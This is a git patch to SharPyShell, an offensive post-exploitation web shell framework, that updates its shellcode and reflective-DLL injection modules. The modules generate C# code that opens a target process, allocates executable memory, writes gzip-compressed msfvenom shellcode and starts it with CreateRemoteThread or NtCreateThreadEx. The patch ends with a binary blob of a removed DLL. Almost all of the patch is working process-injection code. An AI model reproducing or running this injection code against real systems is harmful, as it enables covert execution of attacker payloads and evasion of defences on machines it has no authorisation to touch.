From 041afaf871595308dce3b974bab0ea8cc43053db Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Mon, 25 Mar 2019 00:23:35 +0100 Subject: [PATCH] Injection modules: Added gzip compression + bugfixes after tested win vers 2008 - 2019 --- core/config.py | 2 +- modules/inject_dll_reflective.py | 20 +- modules/inject_shellcode.py | 319 +++++++----------- ...tive_x64.dll => messagebox_reflective.dll} | Bin .../messagebox_reflective_x86.dll | Bin 58880 -> 0 bytes requirements.txt | 2 + utils/gzip_utils.py | 17 + 7 files changed, 153 insertions(+), 207 deletions(-) rename modules/reflective_dll/{messagebox_reflective_x64.dll => messagebox_reflective.dll} (100%) delete mode 100644 modules/reflective_dll/messagebox_reflective_x86.dll create mode 100644 utils/gzip_utils.py diff --git a/core/config.py b/core/config.py index d7bd29b..13661e8 100644 --- a/core/config.py +++ b/core/config.py @@ -1,7 +1,7 @@ import sys import os -sharpyshell_version='1.1.7' +sharpyshell_version='1.1.8' header = '#SharPyShell v' + sharpyshell_version + ' - @splinter_code' banner = """ diff --git a/modules/inject_dll_reflective.py b/modules/inject_dll_reflective.py index ac9d47e..813ac88 100644 --- a/modules/inject_dll_reflective.py +++ b/modules/inject_dll_reflective.py @@ -1,5 +1,6 @@ from modules.inject_shellcode import Inject_shellcode, ModuleException from core import config +from utils import gzip_utils import pefile @@ -16,7 +17,7 @@ class Inject_dll_reflective(Inject_shellcode): Inject a reflective DLL into a remote process. - You can choose if create a new process or use a pid of an existing process as a host process. + You can choose to create a new process or use a pid of an existing process as a host process. The dll_path is a relative path to a dll that exists in the folder 'reflective_dll/'. The dll must be compiled with the reflective loader exported function otherwise it cannot be executed at runtime. @@ -45,8 +46,7 @@ class Inject_dll_reflective(Inject_shellcode): Examples: Inject a messagebox reflective DLL into an existing process: #inject_dll_reflective messagebox_reflective_x64.dll 'remote_virtual' '2264' - - + """ def __get_reflective_loader_offset(self, dll_path): @@ -64,11 +64,13 @@ class Inject_dll_reflective(Inject_shellcode): code_offset = str(self.__get_reflective_loader_offset(dll_path)) with open(dll_path, 'rb') as file_handle: byte_arr = bytearray(file_handle.read()) - byte_arr_code = '{' + ",".join('0x{:02x}'.format(x) for x in byte_arr) + '}' - byte_arr_code_csharp = self._template_shellcode_csharp % byte_arr_code + base64_compressed_dll = gzip_utils.get_compressed_base64_from_binary(byte_arr) if injection_type == 'remote_virtual_protect': - return self._runtime_code_virtual_protect % (byte_arr_code_csharp, thread_parameters, remote_process, - thread_timeout, code_offset) + runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_dll, + thread_parameters, remote_process, + thread_timeout, code_offset) else: - return self._runtime_code % (byte_arr_code_csharp, thread_parameters, remote_process, - thread_timeout, code_offset) \ No newline at end of file + runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_dll, + thread_parameters, remote_process, + thread_timeout, code_offset) + return runtime_code diff --git a/modules/inject_shellcode.py b/modules/inject_shellcode.py index e5a5499..569c452 100644 --- a/modules/inject_shellcode.py +++ b/modules/inject_shellcode.py @@ -1,4 +1,5 @@ from core.Module import Module, ModuleException +from utils import gzip_utils class InjectShellcodeModuleException(ModuleException): @@ -10,13 +11,15 @@ class Inject_shellcode(Module): short_help = "Inject shellcode in a new (or existing) process" complete_help = r""" This module allow to inject your shellcode in a host process. - You can decide if inject into an existing process or if spawn a new process as a host process for the code. - You should create the payload for the shellcode from msfvenom with the flag --format csharp. + You can choose to create a new process or use a pid of an existing process as a host process. + If you create the payload for the shellcode from msfvenom ensure you use the flag --format raw. You can use one of the following supported injection technique: + - remote_virtual: classic injection: VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread - remote_virtual_protect: with this technique you never allocate RWX memory (polymorphic encoders won't work): VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread + Note that when you try to inject into an existing process you should ensure you have the rights to open a handle to that process otherwise the injection cannot be performed. @@ -24,8 +27,7 @@ class Inject_shellcode(Module): #inject_shellcode shellcode_path [injection_type] [remote_process] Positional arguments: - shellcode_path path to a file containing shellcode in csharp format (msfvenom --format csharp) - it can also be a bytearray string, i.e. '{0x90,0x90,0x90,0x90}' + shellcode_path path to a file containing shellcode in raw format (msfvenom --format raw) injection_type the process injection method to use for injecting shellcode Allowed values: 'remote_virtual', 'remote_virtual_protect' Default: 'remote_virtual' @@ -35,17 +37,17 @@ class Inject_shellcode(Module): Examples: Inject generated shellcode: - #inject_shellcode /path/to/shellcode.cs + #inject_shellcode /path/to/shellcode Inject shellcode with specific injection type: - #inject_shellcode /path/to/shellcode.cs 'remote_virtual_protect' + #inject_shellcode /path/to/shellcode 'remote_virtual_protect' Inject shellcode into an existing process - #inject_shellcode /path/to/shellcode.cs 'remote_virtual' '1550' + #inject_shellcode /path/to/shellcode 'remote_virtual' '1550' """ _runtime_code = ur""" using System;using System.IO;using System.Diagnostics;using System.Text; - using System.Runtime.InteropServices; + using System.Runtime.InteropServices; using System.IO.Compression; public class SharPyShell { @@ -55,15 +57,26 @@ class Inject_shellcode(Module): [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); + [DllImport("kernel32.dll", SetLastError = true)] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); - + [DllImport("kernel32.dll", SetLastError=true)] static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool CloseHandle(IntPtr hObject); + + [DllImport("ntdll.dll", SetLastError = true)] + static extern UInt32 NtCreateThreadEx(ref IntPtr hThread,UInt32 DesiredAccess,IntPtr ObjectAttributes,IntPtr ProcessHandle,IntPtr StartAddress,IntPtr lParam,bool CreateSuspended,UInt32 StackZeroBits,UInt32 SizeOfStackCommit,UInt32 SizeOfStackReserve,IntPtr BytesBuffer); + const uint PAGE_ALIGN = 1024; + const int PROCESS_CREATE_THREAD = 0x0002; const int PROCESS_QUERY_INFORMATION = 0x0400; const int PROCESS_VM_OPERATION = 0x0008; @@ -73,6 +86,7 @@ class Inject_shellcode(Module): const uint MEM_COMMIT = 0x00001000; const uint MEM_RESERVE = 0x00002000; const uint PAGE_READWRITE = 0x04; + const uint PAGE_EXECUTE_READ = 0x20; const uint PAGE_EXECUTE_READWRITE = 0x40; const uint WAIT_OBJECT_0 = 0x00000000; @@ -83,6 +97,9 @@ class Inject_shellcode(Module): string error_string = "\n\n\t{{{SharPyShellError}}}"; int processId=0; Process targetProcess = new Process(); + IntPtr targetProcessHandle = IntPtr.Zero; + IntPtr injectedThreadHandle = IntPtr.Zero; + bool usingExistingProcess = false; try { if(!Int32.TryParse(process, out processId)){ @@ -92,55 +109,60 @@ class Inject_shellcode(Module): } else{ targetProcess = Process.GetProcessById(processId); + usingExistingProcess = true; output += "\n\n\tTrying to open running process with pid " + processId.ToString(); } string processName = targetProcess.ProcessName; string targetProcessPid = processId.ToString(); - IntPtr targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId); + targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId); if(targetProcessHandle == (IntPtr)0){ - output += error_string + "\n\tOpenProcess on pid " + targetProcessPid + " failed with error code " + Marshal.GetLastWin32Error(); + output += error_string + "\n\tOpenProcess on pid " + targetProcessPid + " failed with error code " + Marshal.GetLastWin32Error(); return output; } output += "\n\n\tCorreclty opened a handle on process with pid " + targetProcessPid; + uint codeMemorySize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1); - IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if(codeMemAddress == (IntPtr)0){ - output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - uint bytesWrittenCode; - output += "\n\n\tAllocated memory RWX for code of " + codeMemorySize.ToString() + " bytes"; - if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){ - output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString(); + if(codeMemorySize %% PAGE_ALIGN != 0) + codeMemorySize += PAGE_ALIGN - ((uint)(byteArrayCode.Length+1) %% PAGE_ALIGN); + %s codeMemAddress = (IntPtr)((ulong)codeMemAddress + (ulong)offset); - - IntPtr injectedThreadHandle = (IntPtr)0; if(threadParameters.Length > 0){ - output += "\n\n\tThread parameters detected. Starting to allocate memory RWX ..."; + output += "\n\n\tThread parameters detected. Starting to allocate memory RW ..."; uint threadParametersSize = (uint)(threadParameters.Length * Marshal.SizeOf(typeof(byte)) + 1); - IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if(threadParametersMemAddress == (IntPtr)0){ - output += error_string + "\n\tError allocating thread parameters buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); + output += error_string + "\n\tError allocating thread parameters buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); return output; } uint bytesWrittenThreadParams; - output += "\n\n\tAllocated memory RWX for thread parameters of " + threadParametersSize.ToString() + " bytes"; + output += "\n\n\tAllocated memory RW for thread parameters of " + threadParametersSize.ToString() + " bytes"; if(!WriteProcessMemory(targetProcessHandle, threadParametersMemAddress, threadParameters, threadParametersSize, out bytesWrittenThreadParams)){ - output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); + output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); return output; } output += "\n\n\tThread parameters written into remote process. Bytes written: " + bytesWrittenThreadParams.ToString(); - injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero); + if(Environment.OSVersion.Version < new Version(6, 2) && usingExistingProcess){ + output += "\n\n\tDetected windows version < 6.2 and injection across sessions. Using NtCreateThreadEx..."; + NtCreateThreadEx(ref injectedThreadHandle, 0x1FFFFF, IntPtr.Zero, targetProcessHandle, codeMemAddress, threadParametersMemAddress, false, 0, 0, 0, IntPtr.Zero); + } + else{ + output += "\n\n\tUsing CreateRemoteThread..."; + injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero); + } } else{ - injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero); + if(Environment.OSVersion.Version < new Version(6, 2) && usingExistingProcess){ + output += "\n\n\tDetected windows version < 6.2 and injection across sessions. Using NtCreateThreadEx..."; + NtCreateThreadEx(ref injectedThreadHandle, 0x1FFFFF, IntPtr.Zero, targetProcessHandle, codeMemAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); + } + else{ + output += "\n\n\tUsing CreateRemoteThread..."; + injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero); + } } if(injectedThreadHandle == (IntPtr)0){ - output += error_string + "\n\tError injecting thread into remote process memory.\n\tCreateRemoteThread failed with error code " + Marshal.GetLastWin32Error(); + output += error_string + "\n\tError creating remote thread into target process.\n\tRemote Thread creation failed with error code " + Marshal.GetLastWin32Error(); return output; } output += "\n\n\tRemote Thread started!"; @@ -170,170 +192,79 @@ class Inject_shellcode(Module): output += error_string + "\n\tException occurred. " + ex.Message; return output; } + finally{ + if((int)injectedThreadHandle > 0) + CloseHandle(injectedThreadHandle); + if((int)targetProcessHandle > 0) + CloseHandle(targetProcessHandle); + } return output + "\n\n"; } + + private byte[] Decompress(byte[] data) + { + using (MemoryStream compressedStream = new MemoryStream(data)) + using (GZipStream zipStream = new GZipStream(compressedStream, CompressionMode.Decompress)) + using (MemoryStream resultStream = new MemoryStream()) + { + byte[] buffer = new byte[16*1024]; + int read; + while ((read = zipStream.Read(buffer, 0, buffer.Length)) > 0) + { + resultStream.Write(buffer, 0, read); + } + return resultStream.ToArray(); + } + } public byte[] ExecRuntime() { - %s + string shellcodeBase64 = "%s"; + byte[] shellcodeCompressed = Convert.FromBase64String(shellcodeBase64); + byte[] shellcodeByteArr = Decompress(shellcodeCompressed); byte[] threadParameters = %s; - string output_func=InjectShellcode(buf, threadParameters, @"%s", %s, %s); + string output_func=InjectShellcode(shellcodeByteArr, threadParameters, @"%s", %s, %s); byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); return(output_func_byte); } } """ - _runtime_code_virtual_protect = ur""" - using System;using System.IO;using System.Diagnostics;using System.Text; - using System.Runtime.InteropServices; + _runtime_code_virtual = ur""" + IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if(codeMemAddress == (IntPtr)0){ + output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + uint bytesWrittenCode; + output += "\n\n\tAllocated memory RWX for code of " + codeMemorySize.ToString() + " bytes"; + if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){ + output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString(); + """ - public class SharPyShell - { - [DllImport("kernel32.dll", SetLastError = true)] - static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); - - [DllImport("kernel32.dll", SetLastError = true)] - static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); - - [DllImport("kernel32.dll", SetLastError = true)] - static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); - - [DllImport("kernel32.dll", SetLastError = true)] - static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten); - - [DllImport("kernel32.dll", SetLastError = true)] - static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); - - [DllImport("kernel32.dll", SetLastError=true)] - static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); - - const int PROCESS_CREATE_THREAD = 0x0002; - const int PROCESS_QUERY_INFORMATION = 0x0400; - const int PROCESS_VM_OPERATION = 0x0008; - const int PROCESS_VM_WRITE = 0x0020; - const int PROCESS_VM_READ = 0x0010; - - const uint MEM_COMMIT = 0x00001000; - const uint MEM_RESERVE = 0x00002000; - const uint PAGE_READWRITE = 0x04; - const uint PAGE_EXECUTE_READ = 0x20; - - const uint WAIT_OBJECT_0 = 0x00000000; - - public string InjectShellcode(byte[] byteArrayCode, byte[] threadParameters, string process, uint threadTimeout, ulong offset) - { - string output = ""; - string error_string = "\n\n\t{{{SharPyShellError}}}"; - int processId=0; - Process targetProcess = new Process(); - try - { - if(!Int32.TryParse(process, out processId)){ - targetProcess = Process.Start(process); - processId = targetProcess.Id; - output += "\n\n\tStarted process " + process + " with pid " + processId.ToString(); - } - else{ - targetProcess = Process.GetProcessById(processId); - output += "\n\n\tTrying to open running process with pid " + processId.ToString(); - } - string processName = targetProcess.ProcessName; - string targetProcessPid = processId.ToString(); - IntPtr targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId); - if(targetProcessHandle == (IntPtr)0){ - output += error_string + "\n\tOpenProcess on pid " + targetProcessPid + " failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - output += "\n\n\tCorreclty opened a handle on process with pid " + targetProcessPid; - uint codeMemorySize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1); - IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if(codeMemAddress == (IntPtr)0){ - output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - uint bytesWrittenCode; - output += "\n\n\tAllocated memory RW for code of " + codeMemorySize.ToString() + " bytes"; - if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){ - output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString(); - - uint codeMemSize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1); - uint lpflOldProtect; - if(!VirtualProtectEx(targetProcessHandle, codeMemAddress, codeMemSize, PAGE_EXECUTE_READ, out lpflOldProtect)){ - output += error_string + "\n\tError in changing memory from RW to RX.\n\tVirtualProtectEx failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - output += "\n\n\tChanged allocated memory for code from RW to RX"; - - codeMemAddress = (IntPtr)((ulong)codeMemAddress + (ulong)offset); - - IntPtr injectedThreadHandle = (IntPtr)0; - if(threadParameters.Length > 0){ - output += "\n\n\tThread parameters detected. Starting to allocate memory RW ..."; - uint threadParametersSize = (uint)(threadParameters.Length * Marshal.SizeOf(typeof(byte)) + 1); - IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if(threadParametersMemAddress == (IntPtr)0){ - output += error_string + "\n\tError allocating thread parameters buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - uint bytesWrittenThreadParams; - output += "\n\n\tAllocated memory RW for thread parameters of " + threadParametersSize.ToString() + " bytes"; - if(!WriteProcessMemory(targetProcessHandle, threadParametersMemAddress, threadParameters, threadParametersSize, out bytesWrittenThreadParams)){ - output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - output += "\n\n\tThread parameters written into remote process. Bytes written: " + bytesWrittenThreadParams.ToString(); - injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero); - } - else{ - injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero); - } - if(injectedThreadHandle == (IntPtr)0){ - output += error_string + "\n\tError injecting thread into remote process memory.\n\tCreateRemoteThread failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - output += "\n\n\tRemote Thread started!"; - if(threadTimeout>0){ - uint wait_for = WaitForSingleObject(injectedThreadHandle, threadTimeout); - if(wait_for == WAIT_OBJECT_0){ - output += "\n\n\tCode executed and exited correctly"; - try{ - Process.GetProcessById(processId); - targetProcess.Kill(); - output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has been killed"; - } - catch{ - output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has exited"; - } - } - else{ - output += "\n\n\tRemote Thread Timed Out"; - } - } - else{ - output += "\n\n\tCode executed left in background as an async thread in the process '" + processName + ".exe' with pid " + targetProcessPid; - } - } - catch (Exception ex) - { - output += error_string + "\n\tException occurred. " + ex.Message; - return output; - } - return output + "\n\n"; + _runtime_code_virtual_protect = ur""" + uint codeMemSize = codeMemorySize; + IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if(codeMemAddress == (IntPtr)0){ + output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); + return output; } - - public byte[] ExecRuntime() - { - %s - byte[] threadParameters = %s; - string output_func=InjectShellcode(buf, threadParameters, @"%s", %s, %s); - byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); - return(output_func_byte); + uint bytesWrittenCode; + output += "\n\n\tAllocated memory RW for code of " + codeMemorySize.ToString() + " bytes"; + if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){ + output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); + return output; } - } + output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString(); + uint lpflOldProtect; + if(!VirtualProtectEx(targetProcessHandle, codeMemAddress, codeMemSize, PAGE_EXECUTE_READ, out lpflOldProtect)){ + output += error_string + "\n\tError in changing memory from RW to RX.\n\tVirtualProtectEx failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + output += "\n\n\tChanged allocated memory for code from RW to RX"; """ _default_injection_type = 'remote_virtual' @@ -342,8 +273,6 @@ class Inject_shellcode(Module): _default_thread_parameters = '{}' _default_code_offset = '0' - _template_shellcode_csharp = 'byte[] buf = new byte[] %s;' - def _parse_run_args(self, args): if len(args) < 1: raise self._exception_class('#inject_shellcode: Not enough arguments. 1 Argument required.\n') @@ -354,22 +283,18 @@ class Inject_shellcode(Module): thread_timeout = args_parser.get(3, self._default_thread_timeout) thread_parameters = args_parser.get(4, self._default_thread_parameters) code_offset = args_parser.get(5, self._default_code_offset) - return shellcode_path, injection_type, remote_process, thread_timeout,thread_parameters, code_offset + return shellcode_path, injection_type, remote_process, thread_timeout, thread_parameters, code_offset def _create_request(self, args): shellcode_path, injection_type, remote_process,\ thread_timeout, thread_parameters, code_offset = self._parse_run_args(args) - if all(shellcode_char in shellcode_path for shellcode_char in ['{', '0x', ',', '}']): - shellcode_bytes_code = self._template_shellcode_csharp % shellcode_path - else: - with open(shellcode_path, 'r') as file_handle: - shellcode_bytes_code = file_handle.read() + base64_compressed_shellcode = gzip_utils.get_compressed_base64_from_file(shellcode_path) if injection_type == 'remote_virtual_protect': - return self._runtime_code_virtual_protect % (shellcode_bytes_code, thread_parameters, remote_process, - thread_timeout, code_offset) + runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_shellcode, + thread_parameters, remote_process, + thread_timeout, code_offset) else: - return self._runtime_code % (shellcode_bytes_code, thread_parameters, remote_process, - thread_timeout, code_offset) - - - + runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_shellcode, + thread_parameters, remote_process, + thread_timeout, code_offset) + return runtime_code diff --git a/modules/reflective_dll/messagebox_reflective_x64.dll b/modules/reflective_dll/messagebox_reflective.dll similarity index 100% rename from modules/reflective_dll/messagebox_reflective_x64.dll rename to modules/reflective_dll/messagebox_reflective.dll diff --git a/modules/reflective_dll/messagebox_reflective_x86.dll b/modules/reflective_dll/messagebox_reflective_x86.dll deleted file mode 100644 index 7ac6ef20845bfeaf8cddb0776fbc7c8ad84c78b9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 58880 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 